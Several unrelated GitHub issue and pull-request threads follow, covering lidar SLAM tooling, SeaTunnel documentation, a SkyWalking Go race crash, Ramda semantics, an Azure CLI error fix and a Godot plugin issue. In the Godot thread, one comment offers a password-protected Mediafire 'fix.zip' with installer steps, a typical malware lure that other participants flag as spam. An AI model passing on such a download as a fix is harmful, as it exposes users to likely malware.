And also, all the provided algorithms: "lidar_align: A simple method for finding the extrinsic calibration between a 3D lidar and a 6-dof pose sensor. lidar_imu_calib: automatic calibration of 3D lidar and IMU extrinsics. OpenPCDet: OpenPCDet Toolbox for LiDAR-based 3D Object Detection. AB3DMOT: 3D Multi-Object Tracking: A Baseline and New Evaluation Metrics. FAST-LIO: A computationally efficient and robust LiDAR-inertial odometry package. R3LIVE: A Robust, Real-time, RGB-colored, LiDAR-Inertial-Visual tightly-coupled state Estimation and mapping package. FLOAM: Fast and Optimized Lidar Odometry And Mapping for indoor/outdoor localization. hdl_graph_slam: an open source ROS package for real-time 6DOF SLAM using a 3D LIDAR. hdl_localization: Real-time 3D localization using a (velodyne) 3D LIDAR. ORB_SLAM2: Real-Time SLAM for Monocular, Stereo and RGB-D Cameras, with Loop Detection and Relocalization Capabilities. scancontext: Global LiDAR descriptor for place recognition and long-term localization. " Do you use them directly, or do you alter them to your specific version? I ask to understand the flexibility...
Thank you!

Hi,
Thank you for your attention，we use FASTLIO2 as the frontend lidar odometry, if you want to add new odometry, the abstract interface of 'SlamBase' class should be implemented.
These referenced repos are modified to adapted to LSD.

Hi,
Thank you for the quick response!
I would be happy if you could assist me with these questions also:

What is the difference between the GPU and the non-GPU docker? Only the detection part? Or is there more difference?
Mapping is basically SLAM and localization is only if we already have a map?
Mapping is real-time? I saw in in GUI that the location is moving in 10HZ, but the trajectory line (green line with connected dots), is in lower frequency. What is its meaning?

The green trajectory is in low frequency. Why?
I see only two options in SLAM option. There is more?
How to change SLAM parameters? I see only a few options to change...
In this screen, I see only two options and a few SLAM configurations (questions 4, 5):

Thank you very much!

Hi,

The difference between GPU and non-GPU docker is that the CUDA will be checked to decide if enable the NDT_CUDA for map matching and loop closure detection.
Yes, for autonomous vehicle driving scenario, we normally build a prior pointcloud map by mapping (SLAM) and then the map will be used for annotation or localization.
Mapping is real-time, the location of LiDAR odometry is 10Hz updated in GUI. The green line means the keyframe poses in PGO and updated every 3s.

We only export the very important parameters to user for simplified usage. The current setting of algorithm can cover most cases( based on our extensive tests). Also you can modify the source code to expose more parameters.

You are welcome.


[Bug] [connector-v2] [Eleasticsearch] document description error

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
The Description 'support version >= 2.x and < 8.x.’ is error,the correct  is 'support version >= 2.x and <= 8.x.’,Yet, st support ES 8.x.Relevant documents are as follows:
https://seatunnel.apache.org/docs/2.3.0/connector-v2/source/Elasticsearch
https://seatunnel.apache.org/docs/2.3.0/connector-v2/sink/Elasticsearch
SeaTunnel Version
2.3
SeaTunnel Config
no

Running Command
no

Error Exception
no

Flink or Spark Version
No response
Java or Scala Version
No response
Screenshots
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

If it is convenient, you can assign it to me! thank you
@iture123

You can shut it down now, @TyrantLucifer  @iture123


[Bug] runtime execution with go race

Search before asking

[X] I had searched in the issues and found no similar issues.

Apache SkyWalking Component
Go Agent (apache/skywalking-go)
What happened
After adding the -race parameter to the compilation command, running the compilation result will result in a runtime error when creating the span
What you expected to happen
Hope it works normally, only print DATA RACE information
How to reproduce
Use a simple web service program, the code is as follows:
package main

import (
	_ "github.com/apache/skywalking-go"
	"log"
	"net/http"
)

func main() {
	http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte("ok"))
	})
	err := http.ListenAndServe(":8088", nil)
	if err != nil {
		log.Printf("server error: %s", err)
	}
}

Run the compilation command as follows:
go build -toolexec="github/skywalking-go/bin/skywalking-go-agent--darwin-arm64" -a -race -o main main.go
Run the program:
./main
Send Request:
curl --location 'http://localhost:8088/ping'
Then the program exits with an error:
fatal error: unexpected signal during runtime execution
[signal SIGSEGV: segmentation violation code=0x2 addr=0x10 pc=0x102f93f3c]

runtime stack:
runtime.throw({0x10367c717?, 0x0?})
        /go1.20/go1.20.14/src/runtime/panic.go:1047 +0x40 fp=0x16ce6f170 sp=0x16ce6f140 pc=0x1030068a0
runtime.sigpanic()
        /go1.20/go1.20.14/src/runtime/signal_unix.go:825 +0x244 fp=0x16ce6f1b0 sp=0x16ce6f170 pc=0x10301eb74

goroutine 10 [running]:
runtime.systemstack_switch()
        /go1.20/go1.20.14/src/runtime/asm_arm64.s:200 +0x8 fp=0xc0000a75b0 sp=0xc0000a75a0 pc=0x1030393a8
runtime.newproc(0x0?)
        /go1.20/go1.20.14/src/runtime/proc.go:4264 +0x48 fp=0xc0000a75f0 sp=0xc0000a75b0 pc=0x103012058
github.com/apache/skywalking-go/agent/core.(*RootSegmentSpan).end0(0xc000442b70)
        span_tracing.go:258 +0x88 fp=0xc0000a7630 sp=0xc0000a75f0 pc=0x10364f528
github.com/apache/skywalking-go/agent/core.(*RootSegmentSpan).End(0xc000442b70)
        span_tracing.go:247 +0xfc fp=0xc0000a7680 sp=0xc0000a7630 pc=0x10364f36c
net/http.(*skywalking_operatorTypeTracingSpanWrapper).End(0xc0004348a0)

Anything else
No response
Are you willing to submit a pull request to fix on your own?

[ ] Yes I am willing to submit a pull request on my own!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

go version: go1.20.14
agent version: v0.4.0

I haven't found the reason for the program break. But when I upgraded the go version to 1.23.0, the problem have resolved.

@zealotjx Could you try the latest codes?


fix: test expand

[ ] Crypt/Password/OTP.vim
[ ] Crypt/Password/PBKDF2.vim
[ ] Random/System.vim
[ ] Vim/Type/Blob.vim
[x] Vim/Type/Number.vim

rel #71

Number need 32bit

PBKDF2 currentry test complete? ...


R.all and R.none have the same behavior for empty array

Bug Report
R.all and R.none have the same behavior on a empty array
To Reproduce

const R = require('ramda');
console.log(R.all(R.gt(10))([])) // => true
console.log(R.none(R.gt(10))([])) // => true

Expected Behavior
This is due to the fact that none passes complement of the predicate to All, then returns the result. I'm not sure what the appropriate fix would be here.

It seems to me that it is true both that all of the items in [] are both greater than, and not greater than, 10.
The behavior of these functions with an empty list are based on the concept of a vacuous truth.

Okay, this will require some reexamining on how we want to architect this. Sounds good. Thanks for the feedback.


[Backport 2.x] Match version of zstd-jni from core

Backport #2832 to 2.x
Depends on https://github.com/opensearch-project/OpenSearch/pull/7906

@cwperks could you please bump the core version to 2.9.0-SNAPSHOT as well please?
 opensearch_version = System.getProperty("opensearch.version", "2.9.0-SNAPSHOT")

There's an auto PR for a version increment to 2.9 open, but it is currently blocked by missing 2.9.0 minimum distribution. I can incorporate those changes into this PR if there's build issues with the automatic version bump PR.


Added a :label option

Allows you to customise the label that appears on the tweet button. Defaults to "Tweet".

I've made a mistaken assumption here. Requested retracted.


Improve terminal output in Widget and Integration Tests

When we are doing Integration Tests and the paramater skip is true, it's gonna be great if we have some kind of tag showing that an specific test was skipped and didn't started. Now, the output shows the test was passed.
One other thing is the prefix of the output needs to be more clean to understand.
group('Login Integration Test', (){

  testWidget(
    'The user taps login with both fields
    empty and gets an error message',
    () async {...},
    skip: true
  );

});

The way the output is working now it's a little messy to understand:

Suggestion:
[SKIPPED] test: 1-1: Login Integration Test - The user taps login with both fields
empty and gets an error message
And If I have more tests:
test: 1-2: Login Integration Test - The user ....
If I have tests from another group:
[SKIPPED] test: 2-1: Splash Integration Test - Check if...

I believe this output is fully controlled by the test package, which flutter_test uses behind the scene. So this issue may be best discussed over at https://github.com/dart-lang/test/issues.

Closing this as per pervious comment.


extract accent and accentunder into their own files

Great! When I was working on this code for #1033, I felt it would be nicely separated. Leaving to @marcianx  to review with his fancy diff tool (though I should learn to do it too).


add xcode configuration to step configuration

Thanks for the PR!
One question : why do you think the configuration should be added?
It certainly should not be required, might be an optional input, but you can manage the configuration with your Scheme, so this option seems to be redundant. This is actually the reason why we did not include it in the first place.

But of course if there's an actual use case for adding it we would certainly consider it.

In our case, Configuration and scheme is used for different things:

We use scheme to manage server side environment (When our app are used in staging environment)
We use configuration to have specific build settings (AdHoc provisioning profile for tester and AppStore when deploy to the AppStore)

So we absolutely need the configuration parameter to Xcode Build.
But of course, this parameter could be totally optional and it's a mistake from my side. But i've made this modification in few time and I have no idea for how make this parameters optional or on debug/release by default.

Also, configuration is a part of Xcode build tool and don't allow people to use it in CI configuration could frustrate.

That's completely reasonable @vincentsaluzzo but does it happen that you want to Archive with Debug configuration, or any other configuration rather than Release? I'm just curious in your setup, as we never really had the need to use configurations instead of Schemes.

Also, configuration is a part of Xcode build tool and don't allow people to use it in CI configuration could frustrate.

I agree with this, but as in Xcode.app only Schemes are exposed it made sense for us to not to include the configuration option, as most of the iOS developers are not even familiar with it, as it's not available on the GUI, at least not as easily as Schemes.

Yes of course. I will trying to explain how we use this feature.
For a big project, an international application, we use target to differentiate application by country. Localizable-feature of Xcode aren't suffisant in our case and client want to mutualize source code of each app but without a same bundle-id and a same configuration in iTunes Connect (One app for France, One app for United States, etc.)
To complexify this architecture, client have multiple server environment (Production, staging, development) and would have each environment available for each specific-country application.
So, we have, a 2D configuration aspect (functional server side and client build configuration). We managed this by:

a Scheme (and target) by a country
a Configuration by server environment

Configuration allow us to define build variable (prefix header) and we could get this variable when compiling to easily find in our code the environment we want.
Did you understand why we absolutely need configuration ?

Thanks for the explanation @vincentsaluzzo ! It's always interesting to hear about how other iOS developers use the tools and options available for them 😊
We're happy to accept this PR if you modify it so that the Configuration is not required to be defined. There's another PR which introduces xctool support, we'll merge that first, so you'll probably have to update your PR to fix the merge conflict.

Got it !

Just merged the other PR, please make the Configuration input and optional parameter & fix the merge conflict and you're good to go, we'll merge this PR in no time 😉

Done, you can review PR right now ;)

Thanks for your contribution! 😊


Plugin does not work with demo project

Hi. I cloned the repo as-is in Godot 4.2.2.stable to take a look at what this plugin can do. However, there are tons of source code errors, and during project import godot also says that it's been last edited in version 4.1.
Is this plugin still maintained at all?.. It seems to have lots of stars and commits, so it's weird it's that hard to spin up and run.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@llowvxe sorry, I don't really trust such downloads. I also don't see you in the list of contributors, so this looks suspicious to me. Can you please share a link to the source code on github (or any other place where I can see the code without downloading it from a 3rd-party with lots of ads)?

@smedelyan, the other comment was spam.
However, the last version I tested the plugin for was Godot 4.1. The plugin is still maintained, although I don't have tons of time to dedicate to it.
However, because I'm now working on a personal project, I'm upgrading the support to Godot 4.3.

I just pushed a fix that works for both Godot 4.2 and Godot 4.3.
Demos are also available here: https://ceceppa.me/anima-demo/


[App Service] Fix AttributeError during user error handling

Description

Upon deploying a Function App through the CLI, when the user specifies incorrect parameters, instead of printing a helpful error message the CLI triggers a stack trace because of an AttributeError. This pull request fixes this error.
Testing Guide
Deploy a new Function App as shown below.
$ az functionapp deployment source config-zip -g myresourcegroup -n myfunctionapp --src sourcecode.zip --build-remote true
Getting scm site credentials for zip deployment
The command failed with an unexpected error. Here is the traceback:
'str' object has no attribute 'value'
Traceback (most recent call last):
  File "/usr/lib/python3.8/site-packages/knack/cli.py", line 231, in invoke
    cmd_result = self.invocation.execute(args)
  File "/usr/lib/python3.8/site-packages/azure/cli/core/commands/__init__.py", line 657, in execute
    raise ex
  File "/usr/lib/python3.8/site-packages/azure/cli/core/commands/__init__.py", line 720, in _run_jobs_serially
    results.append(self._run_job(expanded_arg, cmd_copy))
  File "/usr/lib/python3.8/site-packages/azure/cli/core/commands/__init__.py", line 691, in _run_job
    result = cmd_copy(params)
  File "/usr/lib/python3.8/site-packages/azure/cli/core/commands/__init__.py", line 328, in __call__
    return self.handler(*args, **kwargs)
  File "/usr/lib/python3.8/site-packages/azure/cli/core/commands/command_operation.py", line 121, in handler
    return op(**command_args)
  File "/usr/lib/python3.8/site-packages/azure/cli/command_modules/appservice/custom.py", line 405, in enable_zip_deploy_functionapp
    return enable_zip_deploy(cmd, resource_group_name, name, src, timeout, slot)
  File "/usr/lib/python3.8/site-packages/azure/cli/command_modules/appservice/custom.py", line 417, in enable_zip_deploy
    scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
  File "/usr/lib/python3.8/site-packages/azure/cli/command_modules/appservice/custom.py", line 1948, in _get_scm_url
    webapp = show_webapp(cmd, resource_group_name, name, slot=slot)
  File "/usr/lib/python3.8/site-packages/azure/cli/command_modules/appservice/custom.py", line 607, in show_webapp
    return _show_app(cmd, resource_group_name, name, "webapp", slot)
  File "/usr/lib/python3.8/site-packages/azure/cli/command_modules/appservice/custom.py", line 737, in _show_app
    "Use 'az {} show' to show {}s".format(app_type, app_type.value))
AttributeError: 'str' object has no attribute 'value'
To open an issue, please run: 'az feedback'

Instead of printing a helpful error message, the traceback shows no indication of the user's error. After applying this pull request, the user-friendly error message is correctly printed (see below).
$ az functionapp deployment source config-zip -g myresourcegroup -n myfunctionapp --src sourcecode.zip --build-remote true
Getting scm site credentials for zip deployment
Unable to find webapp 'myfunctionapp', in RG 'myresourcegroup'
Use 'az functionapp show' to show functionapps

This checklist is used to make sure that common guidelines for a pull request are followed.

[x] The PR title and description has followed the guideline in Submitting Pull Requests.

[x] I adhere to the Command Guidelines.

[x] I adhere to the Error Handling Guidelines.

App Service

I'm not sure why tests are failing, the Azure Pipeline logs seem to indicate connection issues w.r.t. pip?

I'm not sure why tests are failing, the Azure Pipeline logs seem to indicate connection issues w.r.t. pip and areas of the Python 3.9 test setup I haven't touched.

Hi @Anthirian,
At first time it is failed because duplicate-string-formatting-argument error, so only need to modify line 823.
Now line 822 is meet the error of Line too long (164/120).
We can ignore other errors, usually they are caused by other commits.